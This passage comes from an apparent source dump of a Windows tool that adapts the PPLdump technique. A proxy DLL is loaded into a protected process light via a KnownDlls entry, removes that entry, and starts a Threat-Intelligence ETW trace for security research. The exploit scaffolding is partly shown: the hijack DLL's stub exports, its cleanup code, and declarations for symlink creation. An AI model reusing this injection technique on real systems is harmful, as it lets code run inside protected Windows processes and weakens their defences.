dwMaxSize * 2 + 1, L\"%ws\\\\%ws\", wszDomain, wszUsername);\n\tbReturnValue = TRUE;\n\nend:\n\tif (pSid)\n\t\tLocalFree(pSid);\n\n\treturn bReturnValue;\n}\n\nBOOL TokenCheckPrivilege(HANDLE hToken, LPCWSTR pwszPrivilege, BOOL bEnablePrivilege)\n{\n\tBOOL bReturnValue = FALSE;\n\tDWORD dwTokenPrivilegesSize = 0, i = 0, dwPrivilegeNameLength = 0;\n\tPTOKEN_PRIVILEGES pTokenPrivileges = NULL;\n\tLUID_AND_ATTRIBUTES laa = { 0 };\n\tTOKEN_PRIVILEGES tp = { 0 };\n\tLPWSTR pwszPrivilegeNameTemp = NULL;\n\n\tif (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))\n\t{\n\t\tif (GetLastError() != ERROR_INSUFFICIENT_BUFFER)\n\t\t{\n\t\t\tPrintLastError(L\"GetTokenInformation\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\tpTokenPrivileges = (PTOKEN_PRIVILEGES)LocalAlloc(LPTR, dwTokenPrivilegesSize);\n\tif (!pTokenPrivileges)\n\t\tgoto end;\n\n\tif (!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))\n\t{\n\t\tPrintLastError(L\"GetTokenInformation\");\n\t\tgoto end;\n\t}\n\n\tfor (i = 0; i < pTokenPrivileges->PrivilegeCount; i++)\n\t{\n\t\tlaa = pTokenPrivileges->Privileges[i];\n\t\tdwPrivilegeNameLength = 0;\n\n\t\tif (!LookupPrivilegeName(NULL, &(laa.Luid), NULL, &dwPrivilegeNameLength))\n\t\t{\n\t\t\tif (GetLastError() != ERROR_INSUFFICIENT_BUFFER)\n\t\t\t{\n\t\t\t\tPrintLastError(L\"LookupPrivilegeName\");\n\t\t\t\tgoto end;\n\t\t\t}\n\t\t}\n\n\t\tdwPrivilegeNameLength++;\n\n\t\tif (pwszPrivilegeNameTemp = (LPWSTR)LocalAlloc(LPTR, dwPrivilegeNameLength * sizeof(WCHAR)))\n\t\t{\n\t\t\tif (LookupPrivilegeName(NULL, &(laa.Luid), pwszPrivilegeNameTemp, &dwPrivilegeNameLength))\n\t\t\t{\n\t\t\t\tif (!_wcsicmp(pwszPrivilegeNameTemp, pwszPrivilege))\n\t\t\t\t{\n\t\t\t\t\tif (bEnablePrivilege)\n\t\t\t\t\t{\n\t\t\t\t\t\tZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES));\n\t\t\t\t\t\ttp.PrivilegeCount = 1;\n\t\t\t\t\t\ttp.Privileges[0].Luid = laa.Luid;\n\t\t\t\t\t\ttp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n\t\t\t\t\t\tif (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))\n\t\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tPrintLastError(L\"AdjustTokenPrivileges\");\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbReturnValue = TRUE;\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tPrintLastError(L\"LookupPrivilegeName\");\n\n\t\t\tLocalFree(pwszPrivilegeNameTemp);\n\t\t}\n\t}\n\nend:\n\tif (pTokenPrivileges)\n\t\tLocalFree(pTokenPrivileges);\n\n\treturn bReturnValue;\n}\n\nBOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tDWORD dwSize = 0;\n\tPTOKEN_GROUPS pTokenGroups = NULL;\n\n\tif (!GetTokenInformation(hToken, TokenRestrictedSids, NULL, dwSize, &dwSize))\n\t{\n\t\tif (GetLastError() != ERROR_INSUFFICIENT_BUFFER)\n\t\t{\n\t\t\tPrintLastError(L\"GetTokenInformation\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\tpTokenGroups = (PTOKEN_GROUPS)LocalAlloc(LPTR, dwSize);\n\tif (!pTokenGroups)\n\t\tgoto end;\n\n\tif (!GetTokenInformation(hToken, TokenRestrictedSids, pTokenGroups, dwSize, &dwSize))\n\t{\n\t\tPrintLastError(L\"GetTokenInformation\");\n\t\tgoto end;\n\t}\n\n\t*pbIsNotRestricted = pTokenGroups->GroupCount == 0;\n\n\tbReturnValue = TRUE;\n\nend:\n\tif (pTokenGroups)\n\t\tLocalFree(pTokenGroups);\n\n\treturn bReturnValue;\n}\n\nBOOL MiscSystemArchIsAmd64()\n{\n\tSYSTEM_INFO sysinfo = { 0 };\n\tGetNativeSystemInfo(&sysinfo);\n\treturn sysinfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64;\n}\n\nBOOL MiscGenerateGuidString(LPWSTR* ppwszGuid)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tUUID uuid = { 0 };\n\tRPC_WSTR wstrGuid = NULL;\n\n\tif (UuidCreate(&uuid) != RPC_S_OK)\n\t\tgoto end;\n\n\tif (UuidToString(&uuid, &wstrGuid) != RPC_S_OK)\n\t\tgoto end;\n\n\t*ppwszGuid = (LPWSTR)LocalAlloc(LPTR, (wcslen((LPWSTR)wstrGuid) + 1) * sizeof(WCHAR));\n\tif (!*ppwszGuid)\n\t\tgoto end;\n\n\tStringCchPrintf(*ppwszGuid, wcslen((LPWSTR)wstrGuid), L\"%ws\", (LPWSTR)wstrGuid);\n\tbReturnValue = TRUE;\n\nend:\n\tif (wstrGuid)\n\t\tRpcStringFree(&wstrGuid);\n\n\treturn bReturnValue;\n}\n"
  },
  {
    "path": "PPLdump/utils.h",
    "content": "#pragma once\n\n#include \"ntdll.h\"\n\n#include <Windows.h>\n#include <Lmcons.h>\n#include <strsafe.h>\n#include <comdef.h>\n#include <sddl.h>\n#include <tlhelp32.h>\n#include <pathcch.h>\n\n#pragma comment(lib, \"Rpcrt4.lib\")\n#pragma comment(lib, \"Pathcch.lib\")\n\n#define AUTHOR L\"@pathtofile\"\n#define AUTHOR_ORIG L\"@itm4n\"\n#define VERSION L\"1.0\"\n\nextern BOOL g_bVerbose;\nextern BOOL g_bDebug;\nextern BOOL g_bForce;\n\nBOOL ParseArguments(int argc, wchar_t* argv[]);\nVOID PrintArguments();\nVOID PrintUsage();\n\nVOID PrintLastError(LPCWSTR pwszFunctionName);\nVOID PrintVerbose(LPCWSTR pwszFormat, ...);\nVOID PrintDebug(LPCWSTR pwszFormat, ...);\n\nBOOL ProcessGetProtectionLevel(DWORD dwProcessId, PDWORD pdwProtectionLevel);\nBOOL ProcessGetProtectionLevelAsString(DWORD dwProcessId, LPWSTR* ppwszProtectionLevel);\nBOOL ProcessGetIntegrityLevel(DWORD dwProcessId, PDWORD pdwIntegrityLevel);\nBOOL ProcessGetPIDFromName(LPWSTR pwszProcessName, PDWORD pdwProcessId);\n\nHANDLE ObjectManagerCreateDirectory(LPCWSTR dirname);\nHANDLE ObjectManagerCreateSymlink(LPCWSTR linkname, LPCWSTR targetname);\n\nBOOL TokenGetSid(HANDLE hToken, PSID* ppSid);\nBOOL TokenGetSidAsString(HANDLE hToken, LPWSTR* ppwszStringSid);\nBOOL TokenCompareSids(PSID pSidA, PSID pSidB);\nBOOL TokenGetUsername(HANDLE hToken, LPWSTR* ppwszUsername);\nBOOL TokenCheckPrivilege(HANDLE hToken, LPCWSTR pwszPrivilege, BOOL bEnablePrivilege);\nBOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted);\n\nBOOL MiscSystemArchIsAmd64();\nBOOL MiscGenerateGuidString(LPWSTR* ppwszGuid);\n"
  },
  {
    "path": "PPLdump/winver.manifest",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly manifestVersion=\"1.0\" xmlns=\"urn:schemas-microsoft-com:asm.v1\" xmlns:asmv3=\"urn:schemas-microsoft-com:asm.v3\">\n    <compatibility xmlns=\"urn:schemas-microsoft-com:compatibility.v1\">\n        <application>\n            <!-- Windows 10 -->\n            <supportedOS Id=\"{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}\"/>\n            <!-- Windows 8.1 -->\n            <supportedOS Id=\"{1f676c76-80e1-4239-95bb-83d0f6d0da78}\"/>\n        </application>\n    </compatibility>\n</assembly>\n"
  },
  {
    "path": "PPLdumpDll/PPLdump.def",
    "content": "LIBRARY\nEXPORTS\n   LogonUserExExW @1\n   BriCreateBrokeredEvent @2\n   BriDeleteBrokeredEvent @3\n   EaCreateAggregatedEvent @4\n   EACreateAggregateEvent @5\n   EaQueryAggregatedEventParameters @6\n   EAQueryAggregateEventData @7\n   EaFreeAggregatedEventParameters @8\n   EaDeleteAggregatedEvent @9\n   EADeleteAggregateEvent @10\n   TraceMessage @11"
  },
  {
    "path": "PPLdumpDll/PPLdumpDll.cpp",
    "content": "#include \"dllexploit.h\"\n//\n// Windows 8.1 -> SspiCli.dll\n//\n//   000000014005B1C8  LogonUserExExW SspiCli\n//\nextern \"C\" __declspec(dllexport) void APIENTRY LogonUserExExW();\n\n//\n// Windows 10 -> EventAggregation.dll\n//\n//   0000000140083728  EaDeleteAggregatedEvent EventAggregation\n//   0000000140083730  BriCreateBrokeredEvent EventAggregation\n//   0000000140083738  EaCreateAggregatedEvent EventAggregation\n//   0000000140083740  BriDeleteBrokeredEvent EventAggregation\n//   0000000140083748  EACreateAggregateEvent EventAggregation\n//   0000000140083750  EaQueryAggregatedEventParameters EventAggregation\n//   0000000140083758  EaFreeAggregatedEventParameters EventAggregation\n//   0000000140083760  EADeleteAggregateEvent EventAggregation\n//   0000000140083768  EAQueryAggregateEventData EventAggregation\n//\nextern \"C\" __declspec(dllexport) void APIENTRY BriCreateBrokeredEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY BriDeleteBrokeredEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY EaCreateAggregatedEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY EACreateAggregateEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY EaQueryAggregatedEventParameters();\nextern \"C\" __declspec(dllexport) void APIENTRY EAQueryAggregateEventData();\nextern \"C\" __declspec(dllexport) void APIENTRY EaFreeAggregatedEventParameters();\nextern \"C\" __declspec(dllexport) void APIENTRY EaDeleteAggregatedEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY EADeleteAggregateEvent();\n\nHMODULE g_hInstance = NULL;\nHANDLE g_hConsoleOutput = NULL;\nLPWSTR g_pwszGuid = NULL;\nBOOL g_bVerbose = TRUE;\nBOOL g_bDebug = TRUE;\n\nBOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)\n{\n    switch (ul_reason_for_call)\n    {\n    case DLL_PROCESS_ATTACH:\n        g_hInstance = hModule;\n        if (g_bDebug)\n            LogToConsole(L\"DllMain (process attach)\\n\");\n        DoStuff();\n        break;\n    case DLL_THREAD_ATTACH:\n        if (g_bDebug)\n            LogToConsole(L\"DllMain (thread attach)\\n\");\n        break;\n    case DLL_THREAD_DETACH:\n        if (g_bDebug)\n            LogToConsole(L\"DllMain (thread detach)\\n\");\n        break;\n    case DLL_PROCESS_DETACH:\n        if (g_bDebug)\n            LogToConsole(L\"DllMain (process detach)\\n\");\n        if (g_hConsoleOutput)\n            FreeConsole();\n        StopTracing();\n        break;\n    }\n    return TRUE;\n}\n\n//\n// SspiCli.dll\n//\nvoid APIENTRY LogonUserExExW() { }\n\n//\n// EventAggregation.dll\n//\nvoid APIENTRY BriCreateBrokeredEvent() { }\nvoid APIENTRY BriDeleteBrokeredEvent() { }\nvoid APIENTRY EaCreateAggregatedEvent() { }\nvoid APIENTRY EACreateAggregateEvent() { }\nvoid APIENTRY EaQueryAggregatedEventParameters() { }\nvoid APIENTRY EAQueryAggregateEventData() { }\nvoid APIENTRY EaFreeAggregatedEventParameters() { }\nvoid APIENTRY EaDeleteAggregatedEvent() { }\nvoid APIENTRY EADeleteAggregateEvent() { }\n"
  },
  {
    "path": "PPLdumpDll/PPLdumpDll.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{6e8d2c12-255b-403c-9ef3-8a097d374db2}</ProjectGuid>\n    <RootNamespace>PPLdumpDll</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n    <ProjectName>SealighterTIDll</ProjectName>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n    <CustomBuildBeforeTargets>\n    </CustomBuildBeforeTargets>\n    <CustomBuildAfterTargets>\n    </CustomBuildAfterTargets>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n    <CustomBuildBeforeTargets>\n    </CustomBuildBeforeTargets>\n    <CustomBuildAfterTargets>\n    </CustomBuildAfterTargets>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>..\\PPLdump;..\\Sealighter\\sealighter;..\\Sealighter\\json\\single_include;..\\Sealighter\\krabsetw\\krabs;..\\Sealighter\\krabsetw\\Microsoft.O365.Security.Native.ETW;..\\Detours\\include</AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <ModuleDefinitionFile>PPLdump.def</ModuleDefinitionFile>\n      <AdditionalLibraryDirectories>..\\Detours\\lib.X64</AdditionalLibraryDirectories>\n    </Link>\n    <CustomBuildStep>\n      <Command>\n      </Command>\n    </CustomBuildStep>\n    <CustomBuildStep>\n      <Message>\n      </Message>\n    </CustomBuildStep>\n    <CustomBuildStep>\n      <Outputs>\n      </Outputs>\n      <TreatOutputAsContent>\n      </TreatOutputAsContent>\n      <Inputs>\n      </Inputs>\n      <RootFolder>\n      </RootFolder>\n    </CustomBuildStep>\n    <PreBuildEvent>\n      <Command>\n      </Command>\n    </PreBuildEvent>\n    <PreBuildEvent>\n      <Message>\n      </Message>\n    </PreBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>..\\PPLdump;..\\Sealighter\\sealighter;..\\Sealighter\\json\\single_include;..\\Sealighter\\krabsetw\\krabs;..\\Sealighter\\krabsetw\\Microsoft.O365.Security.Native.ETW;..\\Detours\\include</AdditionalIncludeDirectories>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n      <ModuleDefinitionFile>\n      </ModuleDefinitionFile>\n      <AdditionalLibraryDirectories>..\\Detours\\lib.X64</AdditionalLibraryDirectories>\n    </Link>\n    <CustomBuildStep>\n      <Command>\n      </Command>\n    </CustomBuildStep>\n    <CustomBuildStep>\n      <Message>\n      </Message>\n    </CustomBuildStep>\n    <CustomBuildStep>\n      <Outputs>\n      </Outputs>\n      <TreatOutputAsContent>\n      </TreatOutputAsContent>\n      <Inputs>\n      </Inputs>\n      <RootFolder>\n      </RootFolder>\n    </CustomBuildStep>\n    <PreBuildEvent>\n      <Command>\n      </Command>\n    </PreBuildEvent>\n    <PreBuildEvent>\n      <Message>\n      </Message>\n    </PreBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"..\\Sealighter\\sealighter\\sealighter_controller.cpp\" />\n    <ClCompile Include=\"..\\Sealighter\\sealighter\\sealighter_handler.cpp\" />\n    <ClCompile Include=\"..\\Sealighter\\sealighter\\sealighter_main.cpp\" />\n    <ClCompile Include=\"..\\Sealighter\\sealighter\\sealighter_util.cpp\" />\n    <ClCompile Include=\"dllexploit.cpp\" />\n    <ClCompile Include=\"PPLdumpDll.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_controller.h\" />\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_errors.h\" />\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_handler.h\" />\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_json.h\" />\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_krabs.h\" />\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_predicates.h\" />\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_provider.h\" />\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_util.h\" />\n    <ClInclude Include=\"dllexploit.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"PPLdump.def\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"..\\Detours\\include\\detours.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <CustomBuild Include=\"..\\Detours\\lib.X64\\detours.lib\">\n      <Message>Building detours.lib</Message>\n      <Command>call build_detours.bat</Command>\n      <Outputs>..\\Detours\\lib.X64\\detours.lib</Outputs>\n    </CustomBuild>\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "PPLdumpDll/PPLdumpDll.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"PPLdumpDll.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"dllexploit.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\Sealighter\\sealighter\\sealighter_controller.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\Sealighter\\sealighter\\sealighter_handler.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\Sealighter\\sealighter\\sealighter_main.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\Sealighter\\sealighter\\sealighter_util.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"dllexploit.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_controller.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_errors.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_handler.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_json.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_krabs.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_predicates.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_provider.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_util.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Detours\\include\\detours.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"PPLdump.def\">\n      <Filter>Source Files</Filter>\n    </None>\n  </ItemGroup>\n  <ItemGroup>\n    <CustomBuild Include=\"..\\Detours\\lib.X64\\detours.lib\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "PPLdumpDll/build_detours.bat",
    "content": "cd ..\\Detours\nrmdir /S /Q include\nrmdir /S /Q lib.X86\nrmdir /S /Q bin.X86\ncd src\nSET DETOURS_TARGET_PROCESSOR=X64\nnmake clean\nnmake\n"
  },
  {
    "path": "PPLdumpDll/dllexploit.cpp",
    "content": "#include \"dllexploit.h\"\n#include <string>\n#include <thread>\n#include <cstdio>\n#include \"sealighter_controller.h\"\n\nvoid DoStuff()\n{\n    LPWSTR pwszDllName = NULL;\n    BOOL bSuccess = FALSE;\n\n    WCHAR wszEventName[MAX_PATH] = { 0 };\n    HANDLE hEvent = NULL;\n    HANDLE hProcess = INVALID_HANDLE_VALUE;\n    PROCESS_PROTECTION_LEVEL_INFORMATION level = { 0 };\n\n    //\n    // 1. Parse the command line\n    //\n    //    Then, we can parse the command line to get the ID of the process to dump and the path of\n    //    the target dump file.\n    //\n    ParseCommandLine();\n\n    if (g_bDebug)\n        LogToConsole(L\"DEBUG mode enabled\\n\");\n\n    if (g_bDebug)\n        LogToConsole(L\"GUID='%ws'\\n\", g_pwszGuid);\n\n    //\n    // Signal first Event (DLL loaded)\n    //\n    StringCchPrintf(wszEventName, MAX_PATH, L\"Global\\\\%ws_DLL_LOADED\", g_pwszGuid);\n    if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))\n    {\n        if (!SetEvent(hEvent))\n            LogLastError(L\"SetEvent\");\n\n        CloseHandle(hEvent);\n    }\n    else\n        LogLastError(L\"OpenEvent\");\n\n    //\n    // 2. Do some cleanup\n    //\n    //    First things first, we need to delete the symbolic link that was created in \\KnownDlls.\n    //    As this code is executed as SYSTEM inside a PPL with the WindowsTCB protection level, it\n    //    should not be a problem.\n    //\n    if (!GetCurrentDllFileName(&pwszDllName))\n        goto end;\n\n    if (!DeleteKnownDllEntry(pwszDllName))\n        LogToConsole(L\"[-] Failed to delete KnownDll entry '%ws'\\n\", pwszDllName);\n    else\n    {\n        if (g_bVerbose)\n            LogToConsole(L\"[*] KnownDll entry '%ws' removed.\\n\", pwszDllName);\n    }\n\n    // Check if Process is PPL\n    hProcess = GetCurrentProcess();\n    if (!GetProcessInformation(hProcess, ProcessProtectionLevelInfo, &level, sizeof(level))) {\n        LogToConsole(L\"[-] Failed Query own process for PPL Status\\n\");\n        goto end;\n    }\n    if (\n        level.ProtectionLevel != PROTECTION_LEVEL_WINTCB_LIGHT &&\n        level.ProtectionLevel != PROTECTION_LEVEL_WINDOWS_LIGHT &&\n        level.ProtectionLevel != PROTECTION_LEVEL_ANTIMALWARE_LIGHT &&\n        level.ProtectionLevel != PROTECTION_LEVEL_LSA_LIGHT &&\n        level.ProtectionLevel != PROTECTION_LEVEL_CODEGEN_LIGHT &&\n        level.ProtectionLevel != PROTECTION_LEVEL_PPL_APP\n        )\n    {\n        LogToConsole(L\"[-] Process is not PPL, trace will probably fail\\n\");\n    }\n    else {\n        if (g_bVerbose)\n            LogToConsole(L\"[+] Process is PPL\\n\");\n    }\n\n    ////\n    //// 3. Do things!\n    ////\n    ////    Finally, start Threat-Intelligence ETW Trace\n    ////\n    bSuccess = StartTracing();\n    if (g_bVerbose)\n        LogToConsole(L\"%ws StartTracing: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n\n    bSuccess = TRUE;\n    if (bSuccess)\n    {\n        //\n        // Signal second Event (dump success)\n        //\n        StringCchPrintf(wszEventName, MAX_PATH, L\"Global\\\\%ws_DUMP_SUCCESS\", g_pwszGuid);\n        if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))\n        {\n            if (!SetEvent(hEvent))\n                LogLastError(L\"SetEvent\");\n            CloseHandle(hEvent);\n        }\n        else\n            LogLastError(L\"OpenEvent\");\n    }\n\nend:\n    if (pwszDllName)\n        LocalFree(pwszDllName);\n}\n\n\nvoid LogToConsole(LPCWSTR pwszFormat, ...)\n{\n    //\n    // The process in which we load this DLL does not have a console so we need to attach to the \n    // parent process' console. To do so, we can call AttachConsole with the special value \n    // ATTACH_PARENT_PROCESS. Then, we can get the STDOUT handle. This handle is stored will be \n    // stored as a global variable so we need to initialize it only once.\n    //\n    bool doConsoleOutput = false;\n    if (g_hConsoleOutput == NULL)\n    {\n        AttachConsole(ATTACH_PARENT_PROCESS);\n        if ((g_hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE)))\n            doConsoleOutput = true;\n    }\n\n    //\n    // Prepare otuput string and use WriteConsole instead of wprintf. This way, we can directly use\n    // the STDOUT handle we got previously.\n    //\n    DWORD dwOutputStringSize = 0;\n    LPWSTR pwszOutputString = NULL;\n    va_list va;\n    size_t offset = 0;\n\n    va_start(va, pwszFormat);\n\n    if (g_bDebug)\n        dwOutputStringSize += (DWORD)wcslen(L\"[DEBUG] (DLL) \") * sizeof(WCHAR);\n    else\n        dwOutputStringSize += (DWORD)wcslen(L\"(DLL) \") * sizeof(WCHAR);\n    dwOutputStringSize += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2; // \\0\n    pwszOutputString = (LPWSTR)LocalAlloc(LPTR, dwOutputStringSize);\n\n    if (pwszOutputString)\n    {\n        if (g_bDebug)\n            StringCchPrintf(pwszOutputString, dwOutputStringSize, L\"[DEBUG] (DLL) \");\n        else\n            StringCchPrintf(pwszOutputString, 